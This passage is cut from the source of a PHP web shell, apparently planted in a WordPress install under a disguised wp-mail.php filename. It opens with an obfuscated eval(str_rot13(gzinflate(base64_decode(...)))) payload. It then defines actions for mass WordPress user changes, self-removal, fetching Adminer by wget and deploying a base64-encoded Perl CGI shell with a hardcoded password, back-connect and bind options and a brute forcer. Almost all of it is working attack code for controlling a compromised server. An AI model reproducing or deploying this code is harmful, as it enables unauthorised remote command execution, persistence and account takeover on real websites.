CWCLAcMqkS9S4hjwrkOkFAmhYeIg7l9wAd5g/dvAaYB0GIhorBQLL+s0gn4jSjHdPItOqFigp+22KsiSLmxs+E9sce5Pb3HJC4mishcSI+VSJ/rNGOomElCFPRJQch8kBgQ+FuENFuFqtQ6LIoMfCaGCdxVVxYgbUXbASRq1IsiFBDEhyJ8AUC4zYA4DmuAVweuBSgOJY2jaOsdP0NVspyJRhId1tc/OQZvnPXnAtrI/Y3D9nBnCCamsRHNDDHlnea/sU17gZNcnvxrwGLws3UET6/3ylRUSIsBQnDY/9ZpLDDcULhKDGsDo3lz3QdDbksTCU2KMCRCtQafZ6xhEibtvcmL0IrUMAHI511nGNZNikSiX1zc3+ORnGScJPjmNjKBctv+OUvCHS1rQCLedk86vPSwIt/lx5aNNUpDUBIjOCXPCVKcFM06kscyERWAQq3vV6/5p2lObKhLBI/XRmpmByWUNtm7Nkg22UByZgbnstH7rbvfpkrNUgTXvyARVq9d6N7FspyUC38WmDHMCpNW5wT8g8QT/Y3EAUIaPgdAxEDZViLNps3vVdm697Mxqg4gzrIs4c2A63e52G93FaoKA+ugOnBtOdrfQQkt6hn448vEQTPNupkgw0yT8v5Iu6UmxffsttulBsQBMzcK/pZwCod8/O9wW2IytvRZdwTIYUA++Jl69jFMLf+m8pA9MXEcgpw/5UCseCQuh3ikjMa4MYFlfBJsBMm4XAzukXk0iMbTLbwXRL+mMoKD3KA92MzB1ZFlScF7RkDhDQ7AxoAuBoVUy4n/FJ+PCmGx7bP4tfTzuH8IOKn2u9T9toU7Exc8CoiENWDj7mVk0XIEUM/r2zetqRgiZyqUfSvoASLbUHJwZpCtwVdOicRLOnL1x0jICNuuuGCSdLMwIpViWTixQ+5iXL5NghlHLWJlWMFCiTkwzE1K6uBmNyOpeu3zguzxxI4dkslAg3bJsyvM5nvnJ6RcMVBXzPDwFTqYDPXdTeCJXM00Z83Jmn4rfLAAwW87oiYiEiXJqlBiK70eKFbNHJbvvlS2hxk9q58eryj9wx5e6lNjszuq+jPB29tJGUngvnS7Nf4r5xq1cjIW5y2+GSXiqBmDVtZLG8uK6bth0hVyYzyy2Ipv4OyLPVSrH9UNvFrJ2sKWSKGYtmRp9EeflRqYzChsZIr0SHG9ezm/qbnPJ+7kh0dIU6Ox86MxVdXa2k5SGPvNY+TyonBg9g+SRjhIxNwNNW6H12nbMFxps/WpyR42CYm5emHypo62O44rz4ov5Rn1mWO0wkLXWPT7kJGXF+OhhMXLd1Y4Px2BuEtCEulSjxBfHn6gtDi1s9fjQ4vCbwdS+aLZtSZrNjWxsV/PTRaAm/C8Zw8LRovDZb0vXLb/Wb98k6tJcS07cLBVJljhbYll19T0EL5ZNRM0IWk3qW3yelV1GSBZ9tpJzRU7vkJJHaxENJTQA3tUIDyQQnFgnLOT+7rtQdW0SVXDHVyA52S4/llEgtoQkSSPDQB4kY2dHl/fqxKUDOH5mQ5eODFSvDw7qAJbLpcTIGh7SqKlWSA1HUXEmqZXz09xURaTcxIdNrozzXVqfgiiZdW2X4JwwYpjIKwOZCd+Ttz8eOA8f4FMk4lbkwY3XB6C0RZbqOfl7DqEHN8C3C0YTODm09IKyGGYkMpCnNL/CTAWizPOBrqWPiKYvkS4KSnwDBpD9og5VietVOkVTnRvvMLYhiRNi6Chtf5TG0mA5YAtZ7X3/vWcAywvlP+7UqfT2PZGfj/8L\";\neval(str_rot13(gzinflate(str_rot13(base64_decode((\$hex)))))); ");
            echo "<br><center>  <iframe src='priv_sym/conf.php' width='900' height='480'></iframe></a>";
            echo "</div>";
            hardFooter();
        }
        function actionEdituser()
        {
            hardHeader();
            echo "<center><h1>Wordpress Mass User Changer</h1><div class=content><br>";
            echo "<br><center>  <iframe src='?user' width='900' height='400'></iframe></a>";
            echo "</div>";
            hardFooter();
        }
        function actionLogout()
        {
            exec("rm -rf priv_sym priv_cgi adminer.php");
            setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
            die("</br></br><body bgcolor='#000000'><pre align=center><form method=post style='color:#ffffff;text-align: center;'>Bye -,-<br><br></form> </body>");
        }
        function actionSelfRemove()
        {
            if ($_POST['p1'] == 'yes') {
                if (@unlink("/var/www/html/wp-mail.php.abf0f1d1ad0bd1b60005ba60122f5583.bin")) {
                    die('Shell has been removed');
                } else {
                    echo "unlink error!";
                }
            }
            if ($_POST['p1'] != 'yes') {
                hardHeader();
            }
            echo "<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick=\"g(null,null,'yes')\">Yes</a></div>";
            hardFooter();
        }
        function actionAdminer()
        {
            hardHeader();
            echo "<center><h1>Adminer</h1><div class=content><br>";
            exec("wget https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php && mv adminer-4.2.4.php adminer.php ");
            echo "<center><font color=white><br><br><a href='adminer.php' target='_blank'>-> Adminer Login <-</a><br><br></font></center>";
            echo "</div>";
            hardFooter();
        }
        function actionBruteforce()
        {
            hardHeader();
            echo "<center><h1>Cgi Telnet</h1><div class=content><br>";
            $cgi_dir = mkdir('priv_cgi', 0755);
            chdir('priv_cgi');
            $file_cgi = "cgi.priv";
            $memeg = ".htaccess";
            $isi_htcgi = "OPTIONS Indexes Includes ExecCGI FollowSymLinks \n AddType application/x-httpd-cgi .priv \n AddHandler cgi-script .priv \n AddHandler cgi-script .priv";
            $htcgi = fopen(".htaccess", "w");
            $cgi_script = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiUFJJVjgtU0hFTEwgVmVyc2lvbiAxLjMiOwokRWRpdFBlcnNpb249Ijxmb250IHN0eWxlPSd0ZXh0LXNoYWRvdzogMHB4IDBweCA2cHggcmdiKDI1NSwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApLCAwcHggMHB4IDVweCByZ2IoMzAwLCAwLCAwKTsgY29sb3I6I2ZmZmZmZjsgZm9udC13ZWlnaHQ6Ym9sZDsnPlBSSVY4LVNIRUxMPC9mb250PiI7CgokUGFzc3dvcmQgPSAiaGFja2VyMDg4MiI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzIHRvIGxvZ2luLgpzdWIgSXNfV2luKCl7Cgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7CglpZigkb3MgPX4gbS93aW4vaSl7CgkJcmV0dXJuIDE7Cgl9CgllbHNlewoJCXJldHVybiAwOwoJfQp9CiRXaW5OVCA9ICZJc19XaW4oKTsJCQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UCgkJCQkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UKCQkJCQkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzCgkJCQkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzCgkJCQkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDAwMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCQkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcwoJCQkJCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQKCQkJCQkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcwoJCQkJCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLgoKJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UKCQkJCQkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQKCQkJCQkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCQkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdAoJCQkJCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVkLgoKIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQoKJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7CiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsKJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7CiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7CiRjb2xzPSAxNTA7CiRyb3dzPSAyNjsKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJbXkgJGRpciA9JEN1cnJlbnREaXI7CgkkZGlyPX4gcy9cXC9cXFxcL2c7CglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsKCXByaW50IDw8RU5EOwo8aHRtbD4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4KPHRpdGxlPlByaXY4IFNoZWxsIENnaTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRhbmE7Cn0KdHIgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICNmZmZmZmY7Cn0KdGQgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICMwOTYwZmY7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKfQoKdGFibGUgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogIzExMTsKfQoKCmlucHV0IHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmZmZmZmOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICMwOTYwZmY7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOwpjb2xvcjogd2hpbGU7Cn0KCnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOwpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsKY29sb3I6ICNGRjAwQUE7Cn0KCnRleHRhcmVhIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogIzA5NjBmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjMDk2MGZmOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjZmZmZmZmOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoKLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpCnsKCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJtc18nK2krJyIsIiRTY3JpcHRMb2NhdGlvbiIsIlJlc3BvbnNlRGF0YSIpOyByZXR1cm4gZmFsc2U7JzsqLwoJdmFyIGFqYXg9IiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1jaG1vZCB0eXBlPXRleHQgc2l6ZT01IC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckZGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsKfQpmdW5jdGlvbiBybV9jaG1vZF9mb3JtKHJlc3BvbnNlLGkscGVybXMsZmlsZSkKewoJcmVzcG9uc2UuaW5uZXJIVE1MID0gIjxzcGFuIG9uY2xpY2s9XFxcImNobW9kX2Zvcm0oIiArIGkgKyAiLCciKyBmaWxlKyAiJylcXFwiID4iKyBwZXJtcyArIjwvc3Bhbj48L3RkPiI7Cn0KZnVuY3Rpb24gcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCXZhciBhamF4PSIiOwoJZi5yZXBsYWNlKC9cXFxcL2csIlxcXFxcXFxcIik7Cgl2YXIgYmFjaz0icm1fcmVuYW1lX2Zvcm0oIitpKyIsXFxcIiIrZmlsZSsiXFxcIixcXFwiIitmKyJcXFwiKTsgcmV0dXJuIGZhbHNlOyI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9cmVuYW1lIHR5cGU9dGV4dCB2YWx1ZT0gJyIrZmlsZSsiJyAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYmFjayArICInIHZhbHVlPUNhbmNlbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRkaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOwp9CmZ1bmN0aW9uIHJtX3JlbmFtZV9mb3JtKGksZmlsZSxmKQp7CglpZihmPT0nZicpCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0kZGlyJmM9ZWRpdCUyMCIrZmlsZSsiJTIwJz4iICtmaWxlKyAiPC9hPiI7Cgl9ZWxzZQoJewoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1ndWkmZD0iK2YrIic+WyAiICtmaWxlKyAiIF08L2E+IjsKCX0KfQo8L3NjcmlwdD4KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+CjxjZW50ZXI+PGNvZGU+Cjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPgo8dHI+Cgk8dGQgYWxpZ249ImNlbnRlciIgcm93c3Bhbj0yPgoJCTxiPjxmb250IHNpemU9IjUiPiRFZGl0UGVyc2lvbjwvZm9udD48L2I+Cgk8L3RkPgoKCTx0ZD4KCgkJPGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+JEVOVnsiU0VSVkVSX1NPRlRXQVJFIn08L2ZvbnQ+Cgk8L3RkPgoJPHRkPlNlcnZlciBJUDo8Zm9udCBjb2xvcj0iI2ZmZmZmZiI+ICRFTlZ7J1NFUlZFUl9BRERSJ308L2ZvbnQ+IHwgWW91ciBJUDogPGZvbnQgY29sb3I9IiNmZmZmZmYiPiRFTlZ7J1JFTU9URV9BRERSJ308L2ZvbnQ+Cgk8L3RkPgoKPC90cj4KCjx0cj4KPHRkIGNvbHNwYW49IjMiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPgo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24iPkhvbWU8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNvbW1hbmQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkNvbW1hbmQ8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Z3VpJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5HVUk8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+VXBsb2FkIEZpbGU8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8Cgo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1iYWNrYmluZCI+QmFjayAmIEJpbmQ8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YnJ1dGVmb3JjZXIiPkJydXRlIEZvcmNlcjwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jaGVja2xvZyI+Q2hlY2sgTG9nPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvbWFpbnN1c2VyIj5Eb21haW5zL1VzZXJzPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+TG9nb3V0PC9hPiB8CjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSIjIj5IZWxwPC9hPgoKPC9mb250PjwvdGQ+CjwvdHI+CjwvdGFibGU+Cjxmb250IGlkPSJSZXNwb25zZURhdGEiIGNvbG9yPSIjZmY5OWNjIiA+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBMb2dpbiBTY3JlZW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpblNjcmVlbgp7CgoJcHJpbnQgPDxFTkQ7CjxwcmU+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpUeXBpbmdUZXh0ID0gZnVuY3Rpb24oZWxlbWVudCwgaW50ZXJ2YWwsIGN1cnNvciwgZmluaXNoZWRDYWxsYmFjaykgewogIGlmKCh0eXBlb2YgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQgPT0gInVuZGVmaW5lZCIpIHx8ICh0eXBlb2YgZWxlbWVudC5pbm5lckhUTUwgPT0gInVuZGVmaW5lZCIpKSB7CiAgICB0aGlzLn